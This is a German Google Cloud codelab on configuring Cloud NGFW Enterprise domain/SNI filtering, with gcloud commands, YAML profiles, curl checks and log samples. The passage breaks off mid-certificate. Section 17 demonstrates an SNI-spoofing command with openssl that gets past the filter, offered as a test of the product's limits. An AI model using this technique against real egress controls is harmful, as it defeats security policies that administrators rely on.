1. Einführung
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall ist ein vollständig verteilter Firewalldienst mit erweiterten Schutzfunktionen, Mikrosegmentierung und umfassender Abdeckung, um Ihre Google Cloud-Arbeitslasten vor internen und externen Angriffen zu schützen.
Cloud NGFW bietet folgende Vorteile:
- Verteilter Firewalldienst: Cloud NGFW bietet eine zustandsorientierte, vollständig verteilte hostbasierte Erzwingung für jede Arbeitslast, um eine Zero-Trust-Sicherheitsarchitektur zu ermöglichen.
- Vereinfachte Konfiguration und Bereitstellung: Cloud NGFW implementiert Netzwerk- und hierarchische Firewallrichtlinien, die an einen Knoten der Ressourcenhierarchie angehängt werden können. Diese Richtlinien bieten eine konsistente Firewall in der gesamten Google Cloud-Ressourcenhierarchie.
- Granulare Kontrolle und Mikrosegmentierung: Die Kombination aus Firewallrichtlinien und IAM-gesteuerten Tags (Identity and Access Management) bietet eine präzise Kontrolle für Nord-Süd- und Ost-West-Traffic, bis zu einer einzelnen VM in VPC-Netzwerken und -Organisationen.
Cloud NGFW ist in den folgenden Stufen verfügbar:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Standard-FQDN-Objekte können voll qualifizierte Domainnamen (FQDN) in IP-Adressen übersetzen und die Regel dann für die Liste der IP-Adressen erzwingen. Cloud NGFW Enterprise mit Domainfilterung kann die Prüfung jedoch noch weiter optimieren.
Cloud NGFW Enterprise
Cloud NGFW Enterprise bietet derzeit den Einbruchspräventionsdienst (Intrusion Prevention Service, IPS), eine Layer 7-Funktion, für die verteilte Google Cloud-Firewall-Infrastruktur.
Cloud NGFW Enterprise bietet jetzt Domainfilterung, mit der Sie HTTP(S)-Traffic mithilfe von Domainnamen steuern können, anstatt auf IP-Adressen angewiesen zu sein.
Beim Filtern von HTTPS-Traffic nach Domain/SNI ist der ClientHello-Teil des TLS-Handshake eine Erweiterung, die die Servernamensangabe (Server Name Indication, SNI) enthält. SNI ist eine Erweiterung des TLS-Protokolls, mit der der Hostname gesendet wird, den ein Client erreichen möchte. Anhand dieser Daten wird die Filterung validiert.
Bei HTTP-Traffic ist kein SNI vorhanden. Daher wird nur das HTTP-Host-Headerfeld zum Anwenden der Filterung verwendet.
Die Domainfilterung wird mit einem „UrlFilteringProfile“ konfiguriert. Das ist ein neuer Typ von Sicherheitsprofil. Das UrlFilteringProfile enthält eine Liste von UrlFilters, die jeweils eine Aktion, eine Liste von Abgleichstrings und eine eindeutige Priorität enthalten. In dieser Konfiguration wird „Url“ anstelle von „Domain“ verwendet, um einen einfachen Übergang zur vollständigen URL-Filterung zu ermöglichen, wenn diese verfügbar wird. So muss in Zukunft kein neuer Sicherheitsprofiltyp erstellt werden.
UrlFilteringProfiles enthalten einen impliziten UrlFilter mit der niedrigsten Priorität (2147483647), der alle Verbindungen ablehnt, die nicht mit einem UrlFilter mit höherer Priorität übereinstimmen.
Umfang
Für dieses Codelab ist ein einzelnes Projekt erforderlich. Außerdem müssen Sie ein VPC-Netzwerk erstellen und eine Reihe von Netzwerk- und Sicherheitsressourcen verwalten können. In diesem Codelab wird gezeigt, wie Cloud NGFW Enterprise Domain- und SNI-Filterung mit optionalen Anleitungen für die TLS-Prüfung bereitstellen kann.
Wir testen mehrere Szenarien mit Zulassungs- und Ablehnungsregeln, einschließlich der Verwendung von Platzhaltern.
Der Endstatus der Netzwerk-Firewallrichtlinienregelbasis sieht etwa so aus:
Priorität | Richtung | Target | Quelle | Ziel | Aktion | Typ |
200 | Eingehender Traffic | Alle | IAP | Alle | Zulassen | Essentials |
300 | Ausgehender Traffic | Alle | Alle | 0.0.0.0/0:80,443 | L7-Prüfung | Unternehmen |
Lerninhalte
- So erstellen Sie eine Netzwerk-Firewallrichtlinie.
- Informationen zum Konfigurieren und Verwenden des Cloud NGFW Enterprise-Domain-/SNI-Filters.
- So konfigurieren Sie die Bedrohungsvermeidung zusätzlich zur Domain-/SNI-Filterung.
- So prüfen Sie die Logs.
- [Optional] TLS-Prüfung aktivieren
Voraussetzungen
- Google Cloud-Projekt.
- Kenntnisse in der Bereitstellung von Instanzen und der Konfiguration von Netzwerkkomponenten.
- Kenntnisse der Firewallkonfiguration für Netzwerkrichtlinien.
2. Hinweis
Variablen erstellen/aktualisieren
In diesem Codelab werden $variables verwendet, um die Implementierung der gcloud-Konfiguration in Cloud Shell zu erleichtern.
Führen Sie in Cloud Shell die folgenden Befehle aus und ersetzen Sie die Informationen in den Klammern nach Bedarf:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=domain-sni
3. APIs aktivieren
Aktivieren Sie die APIs, falls Sie dies noch nicht getan haben:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable privateca.googleapis.com
4. Cloud NGFW Enterprise-Endpunkt erstellen
Da die Erstellung des Cloud NGFW Enterprise-Endpunkts etwa 20 Minuten dauert, wird er zuerst erstellt. Die Grundeinrichtung kann parallel erfolgen.
Für die Domain-/SNI-Filterung ist ein Firewall-Endpunkt erforderlich, auch wenn Sie keine Profile zur Vermeidung von Bedrohungen verwenden möchten.
Sicherheitsprofil und Sicherheitsprofilgruppe erstellen:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$project_id
Führen Sie den folgenden Befehl aus, um zu prüfen, ob der Endpunkt erstellt wird (CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
Die Erstellung dauert etwa 20 Minuten. Fahren Sie mit dem Abschnitt „Grundeinrichtung“ fort, um die erforderlichen Ressourcen parallel zu erstellen.
5. Grundeinrichtung
VPC-Netzwerk und ‑Subnetz
VPC-Netzwerk und Subnetz
VPC-Netzwerk und Subnetz erstellen:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Erstellen Sie die externe IP-Adresse, den Cloud Router und das Cloud NAT-Gateway:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Instanzerstellung
Clientinstanz erstellen:
gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet \ --no-address \ --zone $zone
Globale Netzwerk-Firewallrichtlinie
So erstellen Sie eine globale Netzwerk-Firewallrichtlinie:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Domain/SNI Filtering" --global
Erstellen Sie die erforderlichen Cloud Firewall Essential-Regeln, um Traffic aus Identity-Aware Proxy-Bereichen zuzulassen:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
Verknüpfen Sie die Cloud-Firewallrichtlinie mit dem VPC-Netzwerk:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
6. Konfigurationen für die Domain-/SNI-Filterung für „Zulassen“ erstellen
Als Nächstes konfigurieren wir die Domains, die zugelassen und abgelehnt werden sollen. Erstellen Sie die YAML-Datei in Cloud Shell:
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 1000
urls:
- 'www.example.com'
EOF
Erstellen Sie ein Sicherheitsprofil, indem Sie die YAML-Konfiguration importieren:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Erwartete Ausgabe:
Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 1000
urls:
- www.example.com
- filteringAction: DENY
priority: 2147483647
urls:
- '*'
So erstellen Sie eine Sicherheitsprofilgruppe:
gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp
Prüfen Sie, ob das Sicherheitsprofil im SPG enthalten ist:
gcloud network-security security-profile-groups describe $prefix-spg \ --location=global \ --organization=$org_id \ --project=$project_id
Erwartete Ausgabe:
{
"createTime": "2025-09-19T22:06:15.298569417Z",
"dataPathId": "685",
"etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
"name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
"updateTime": "2025-09-19T22:06:19.201991641Z",
"urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}
7. Cloud Firewall-Endpunktverknüpfung
Definieren Sie die Umgebungsvariablen, falls Sie dies noch nicht getan haben und/oder den Skriptansatz bevorzugt haben.
Prüfen Sie, ob die Erstellung des Cloud Firewall-Endpunkts erfolgreich abgeschlossen wurde. Fahren Sie erst fort, wenn der Status ACTIVE angezeigt wird. Während der Erstellung ist der erwartete Status CREATING:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
Verknüpfen Sie den Cloud Firewall-Endpunkt mit dem VPC-Netzwerk:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
Die Verknüpfung dauert etwa 10 Minuten. Fahren Sie erst mit dem nächsten Abschnitt fort, wenn der Status ACTIVE lautet. Während der Erstellung ist der erwartete Status CREATING:
gcloud network-security firewall-endpoint-associations list
Erwartete Ausgabe bei complete:
ID: $prefix-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
8. Firewallregeln für die Domain-/SNI-Filterung erstellen
Google hat implizite Firewallregeln zum Zulassen von ausgehendem Traffic. Wenn wir die Domain-/SNI-Filterung erzwingen möchten, müssen wir explizit eine Regel definieren. Mit der folgenden Regel wird ausgehender Traffic für die Zielports 80 und 443 zur Überprüfung durch unser Sicherheitsprofil gesendet.
gcloud compute network-firewall-policies rules create 300 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --layer4-configs=tcp:80,tcp:443 \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging
9. Regeln zum Zulassen validieren
Stellen Sie über IAP eine SSH-Verbindung zur VM her:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Senden Sie die Beispielanfragen an das zulässige Ziel:
curl https://www.example.com --max-time 2
Beachten Sie, dass diese Anfrage aufgrund der Firewallregel „allow“ erfolgreich war.
Versuchen wir es mit einigen Domains, die nicht in der Liste enthalten sind.
curl https://example.com --max-time 2 curl https://google.com --max-time 2 curl https://wikipedia.org --max-time 2
Erwartete Ausgabe:
curl: (35) Recv failure: Connection reset by peer curl: (35) Recv failure: Connection reset by peer curl: (35) Recv failure: Connection reset by peer
Warum hat „beispiel.de“ nicht funktioniert? Das liegt daran, dass in der Konfiguration des Sicherheitsprofils explizit „www.beispiel.de“ angegeben war. Wenn wir alle Subdomains von beispiel.de zulassen möchten, können wir einen Platzhalter verwenden.
Die anderen Anfragen sind ebenfalls fehlgeschlagen. Das liegt daran, dass die Gruppe für Sicherheitsprofile eine Standardablehnung mit der niedrigsten Priorität hat und nur www.beispiel.de zulässig ist.
Beenden Sie die VM, um zu Cloud Shell zurückzukehren.
exit
10. Domain-/SNI-Filterkonfiguration für Platzhalter aktualisieren
Sehen wir uns die YAML-Datei an und nehmen wir einige zusätzliche Aktualisierungen vor, um weitere Funktionen wie die Unterstützung von Platzhaltern zu demonstrieren. Wir erstellen eine Regel, die „*.com“ zulässt. Das entspricht jeder Domain, die auf „.com“ endet. Hinweis: Dadurch wird der Inhalt der ursprünglichen YAML-Datei, die im vorherigen Abschnitt erstellt wurde, vollständig ersetzt.
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 2000
urls:
- '*.com'
EOF
Aktualisieren Sie das Sicherheitsprofil mit der neuen YAML-Konfiguration:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Sicherheitsprofilkonfiguration validieren:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
Erwartete Ausgabe:
{
"createTime": "2025-09-19T22:03:36.008789416Z",
"etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
"name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
"type": "URL_FILTERING",
"updateTime": "2025-09-20T03:45:42.519263424Z",
"urlFilteringProfile": {
"urlFilters": [
{
"filteringAction": "ALLOW",
"priority": 2000,
"urls": [
"*.com"
]
},
{
"filteringAction": "DENY",
"priority": 2147483647,
"urls": [
"*"
]
}
]
}
}
11. Platzhalterregel validieren
Wir prüfen, ob die Platzhalterregel funktioniert. Stellen Sie über IAP eine SSH-Verbindung zur VM her:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Senden Sie die Beispielanfragen an die zulässigen Ziele:
curl https://github.com --max-time 2 curl https://google.com --max-time 2
Alle diese Anfragen sollten erfolgreich gewesen sein. Sie können es mit einer anderen gültigen .com-Domain versuchen. Wenn die Versuche immer noch nicht erfolgreich sind, warten Sie mindestens 10 Minuten und versuchen Sie es dann noch einmal.
Wir können sogar mehrere Subdomains von „.com“ ausprobieren und alle sollten erfolgreich sein.
curl https://mail.google.com --max-time 2
Beenden Sie die VM, um zu Cloud Shell zurückzukehren.
exit
12. Domain-/SNI-Filterkonfiguration für „Verweigern“ aktualisieren
Wir haben gezeigt, dass am Ende des Sicherheitsprofils eine implizite DENY-Regel für * vorhanden ist, und „zulässige“ Domains erstellt, indem wir „ALLOW“ als „filteringAction“ verwendet haben. Sehen wir uns an, wie Sie „filteringAction“ als „DENY“ verwenden. DENY-Aktionen können nützlich sein, wenn sie einem expliziten ALLOW vorausgehen. Dazu ein Beispiel:
Wir werden unsere bestehende YAML-Datei aktualisieren, um *.com zuzulassen, aber bestimmte .com-Domains explizit zu verbieten.
Wir ändern die YAML-Datei so, dass *.github.com und *.google.com abgelehnt werden, während alle anderen *.com-Domains explizit zugelassen werden und die implizite Standardablehnung beibehalten wird. Die Priorität von Ausnahmen muss eine niedrigere Prioritätsnummer haben: (1000 vs. 2000) und (1500 vs. 2000).
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: DENY
priority: 1000
urls:
- '*.github.com'
- filteringAction: DENY
priority: 1500
urls:
- '*.google.com'
- filteringAction: ALLOW
priority: 2000
urls:
- '*.com'
EOF
Aktualisieren Sie das Sicherheitsprofil mit der neuen YAML-Konfiguration:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Sicherheitsprofilkonfiguration validieren:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
13. Ablehnungsregeln validieren
Wir prüfen, ob die DENY-Regeln funktionieren. Stellen Sie über IAP eine SSH-Verbindung zur VM her:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Senden Sie die Beispielanfragen an die abgelehnten Ziele:
curl https://www.github.com --max-time 2 curl https://mail.google.com --max-time 2
Diese beiden Anfragen hätten fehlschlagen müssen, da sie der Regel „DENY“ entsprachen.
Senden Sie einige zusätzliche Anfragen:
curl https://github.com --max-time 2 curl https://google.com --max-time 2
Warum haben diese funktioniert? Das hat funktioniert, weil die DENY-Regeln für „.github.com“ und „.google.com“ galten. Die Anfragen an github.com und google.com sind nicht im Platzhalter enthalten, da er auf Subdomains von github.com und google.com verweist.
Andere Anfragen an .com-Domains sollten erfolgreich sein, für andere Domains gilt standardmäßig „Verweigern“. (.org, .net, .me usw.)
Beenden Sie die VM, um zu Cloud Shell zurückzukehren.
exit
14. Domain-/SNI-Filterkonfiguration für „Standardmäßig zulassen“ aktualisieren
Was wäre, wenn Sie ein Standardverhalten für ALLOW mit expliziten DENY-Regeln haben möchten? Wir werden die YAML-Datei entsprechend aktualisieren. Wir konfigurieren DENY-Regeln für alle .com- oder .net-Domains und lassen alle anderen zu.
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: DENY
priority: 1000
urls:
- '*.com'
- filteringAction: DENY
priority: 1500
urls:
- '*.net'
- filteringAction: ALLOW
priority: 2000000000
urls:
- '*'
EOF
Aktualisieren Sie das Sicherheitsprofil mit der neuen YAML-Konfiguration:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Sicherheitsprofilkonfiguration validieren:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
Erwartete Ausgabe:
{
"createTime": "2025-09-19T22:03:36.008789416Z",
"etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
"name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
"type": "URL_FILTERING",
"updateTime": "2025-09-20T04:32:53.299276787Z",
"urlFilteringProfile": {
"urlFilters": [
{
"filteringAction": "DENY",
"priority": 1000,
"urls": [
"*.com"
]
},
{
"filteringAction": "DENY",
"priority": 1500,
"urls": [
"*.net"
]
},
{
"filteringAction": "ALLOW",
"priority": 2000000000,
"urls": [
"*"
]
},
{
"filteringAction": "DENY",
"priority": 2147483647,
"urls": [
"*"
]
}
]
}
}
Das implizite DENY für * ist weiterhin vorhanden. Diese Regel wird irrelevant, da wir eine Standardregel mit höherer Priorität (niedrigerer Wert) konfiguriert haben, für die „filteringAction“ auf „ALLOW“ festgelegt ist.
(2.000.000.000 im Vergleich zu 2.147.483.647)
15. Ablehnungsregeln mit „Standardmäßig zulassen“ validieren
Prüfen wir, ob die DENY-Regeln zusammen mit der Standard-ALLOW-Regel funktionieren. Stellen Sie über IAP eine SSH-Verbindung zur VM her:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Senden Sie die Beispielanfragen an die abgelehnten Ziele:
curl https://www.github.com --max-time 2 curl https://www.php.net --max-time 2
Diese beiden Anfragen hätten fehlschlagen müssen, da sie der Regel „DENY“ entsprachen. Alle .com- oder .net-Anfragen sollten fehlschlagen.
Senden Sie einige Anfragen, die erfolgreich sein sollten (eine beliebige andere Top-Level-Domain):
curl https://wikipedia.org --max-time 2 curl https://ifconfig.me --max-time 2
Diese Anfragen sollten erfolgreich sein, da die Standardregel „Zulassen“ mit der Priorität 2.000.000.000 angewendet wird.
16. Logs für Domain-/SNI-Filterung ansehen
Sehen wir uns an, wie wir prüfen können, ob der Traffic von der Firewallregel für die Domain-/SNI-Filterung untersucht wird.
Rufen Sie in der Cloud Console den Log-Explorer auf und geben Sie den folgenden Filter ein:
jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"
Der Filter oben bezieht sich auf die von uns erstellte Firewallrichtlinie mit dem Namen $prefix-fwpolicy und die Regelpriorität 300, der die Sicherheitsprofilgruppe zugeordnet ist, die mit der Domain-/SNI-Filterkonfiguration verknüpft ist.
Wie Sie sehen, wird als „disposition“ (Verfügung) „INTERCEPTED“ (Abgefangen) angegeben. Das bedeutet, dass der Traffic abgefangen und zur Verarbeitung an unsere Firewall-Engine gesendet wurde.
Um die tatsächlichen Logs zur Domain-/SNI-Filterung aufzurufen, können wir den folgenden Filter im Log-Explorer eingeben (ersetzen Sie $project_id durch den Wert Ihrer Projekt-ID):
logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"
Wenn wir einige der Details aufrufen, sehen wir die folgenden Informationen in einem Beispiel (anonymisiert):
{
"insertId": "mro2t1f4banf9",
"jsonPayload": {
"direction": "CLIENT_TO_SERVER",
"detectionTime": "2025-09-20T04:39:40.713432713Z",
"connection": {
"serverPort": 443,
"serverIp": "198.35.26.96",
"clientPort": 37410,
"protocol": "TCP",
"clientIp": "10.0.0.2"
},
"action": "ALLOW",
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
"ruleIndex": 2000000000,
"interceptInstance": {
"projectId": "$project_id",
"zone": "$zone",
"vm": "$prefix-$zone-client"
},
"applicationLayerDetails": {
"uri": "",
"protocol": "PROTOCOL_UNSPECIFIED"
},
"securityProfileGroupDetails": {
"organizationId": "$org_id",
"securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
},
"sessionLayerDetails": {
"sni": "wikipedia.org",
"protocolVersion": "TLS1_2"
},
"denyType": "unspecified",
"interceptVpc": {
"projectId": "$project_id",
"vpc": "$prefix-vpc"
},
"uriMatched": ""
},
"resource": {
"type": "networksecurity.googleapis.com/FirewallEndpoint",
"labels": {
"id": "$prefix-$zone",
"resource_container": "organizations/$org_id",
"location": "$zone"
}
},
"timestamp": "2025-09-20T04:39:43.758897121Z",
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
"receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}
Das obige Beispielprotokoll zeigt eine Anfrage an wikipedia.org, die ZUGELASSEN wurde, weil sie der Regel mit der Priorität 2000000000 entsprach, die „*“ mit der Filteraktion ALLOW war. Es gibt weitere Details, darunter die SNI.
Sehen wir uns ein Beispiel für ein DENY-Log an:
{
"insertId": "1pllrqlf60jr29",
"jsonPayload": {
"securityProfileGroupDetails": {
"securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
"organizationId": "$org_id"
},
"action": "DENY",
"interceptVpc": {
"vpc": "$prefix-vpc",
"projectId": "$project_id"
},
"connection": {
"serverIp": "45.112.84.18",
"clientIp": "10.0.0.2",
"protocol": "TCP",
"serverPort": 443,
"clientPort": 45720
},
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
"applicationLayerDetails": {
"uri": "",
"protocol": "PROTOCOL_UNSPECIFIED"
},
"sessionLayerDetails": {
"sni": "www.php.net",
"protocolVersion": "TLS1_2"
},
"interceptInstance": {
"zone": "$zone",
"projectId": "$project_id",
"vm": "$prefix-$zone-client"
},
"detectionTime": "2025-09-20T04:37:57.345031164Z",
"direction": "CLIENT_TO_SERVER",
"ruleIndex": 1500,
"uriMatched": "",
"denyType": "SNI"
},
"resource": {
"type": "networksecurity.googleapis.com/FirewallEndpoint",
"labels": {
"id": "$prefix-$zone",
"resource_container": "organizations/$org_id",
"location": "$zone"
}
},
"timestamp": "2025-09-20T04:38:03.757200395Z",
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
"receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}
Wie oben zu sehen ist, wurde diese Anfrage protokolliert, als eine Anfrage abgelehnt wurde. Die Anfrage wurde an www.php.net gesendet und entsprach Regel 1500 im Sicherheitsprofil. Ebenso wurde die Entscheidung anhand des SNI getroffen.
17. Regeln validieren, wenn SNI-Spoofing vorhanden ist
Wie in der Einleitung erwähnt, kann NGFW Enterprise den HTTP-Host-Header für HTTP-Traffic oder den SNI für TLS-verschlüsselten Traffic untersuchen. Es ist möglich, dass Einzelpersonen SNI fälschen. Was passiert, wenn sie das tun?
Lassen Sie uns das Verhalten überprüfen. Stellen Sie über IAP eine SSH-Verbindung zur VM her:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Führen Sie den folgenden openssl-Befehl aus, um die SNI zu fälschen:
openssl s_client -connect www.google.com:443 -servername ifconfig.me
Im obigen Beispiel wird erwartet, dass Anfragen an .com- und .net-Domains blockiert werden und andere TLDs zulässig sind. Unten sehen Sie ein Beispiel für eine gefälschte Antwort. Die Anfrage wird an www.google.com gesendet, was blockiert werden sollte. Anstatt jedoch einen SNI von www.google.com zu senden, geben wir einen SNI von ifconfig.me an. Da die Richtlinie anhand von SNI geprüft wird, wird die Domain als „zulässig“ eingestuft und durchgelassen. Wir haben eine erfolgreiche TLS-Verbindung zu google.com hergestellt.
.
Erwartete Ausgabe:
CONNECTED(00000003) depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1 verify return:1 depth=1 C = US, O = Google Trust Services, CN = WR2 verify return:1 depth=0 CN = www.google.com verify return:1 --- Certificate chain 0 s:CN = www.google.com i:C = US, O = Google Trust Services, CN = WR2 a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256 v:NotBefore: Sep 8 08:37:54 2025 GMT; NotAfter: Dec 1 08:37:53 2025 GMT 1 s:C = US, O = Google Trust Services, CN = WR2 i:C = US, O = Google Trust Services LLC, CN = GTS Root R1 a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256 v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1 i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256 v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT --- Server certificate -----BEGIN CERTIFICATE----- MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU 5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2 IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+ x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/ 